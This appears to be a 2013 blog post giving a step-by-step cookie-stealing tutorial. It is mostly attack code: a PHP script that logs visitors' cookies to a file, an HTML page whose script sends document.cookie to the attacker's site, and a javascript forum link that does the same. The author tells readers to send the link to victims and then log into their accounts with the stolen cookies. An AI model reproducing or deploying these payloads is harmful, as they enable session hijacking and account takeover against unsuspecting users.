Tuesday, 22 January 2013

Cookielogger Tutorial


Register here: http://www.000webhost.com/
Upload these files:
First make a steal.php
Code:



<?php
$cookie = $_GET['cookie'];
$log = fopen("log.txt", "a");
fwrite($log, $cookie ."\n");
fclose($log);
header( 'Location: http://www.google.com' ) ;
?>


Replace "www.google.com" with something funny.That's redirect link.
Then make a blank text document: "log.txt"
Then make a new html: "whatever.html"
add this code to html:
Code:


<html>
<body>
<script>
document.location = 'http://yourwebsite.com/steal.php?cookie=' + document.cookie;
</script>
</body>
</html>
Copy the link: http://www.yourwebsite.com/index.html and send to victim when victim click steal.php steal the cookies and save it in log.txt
Try on yourself first.It's work for me.


U can use this for forum:
Code:


<a href="javascript:void(document.location='http://yourwebsite.com/steal.php?cookie='+
document.cookie)">Click Me</a>


Post on thread when victim click, steal.php steal the cookies.Then use a cookie editor to replace the cookies and login.

0 comments:

Post a Comment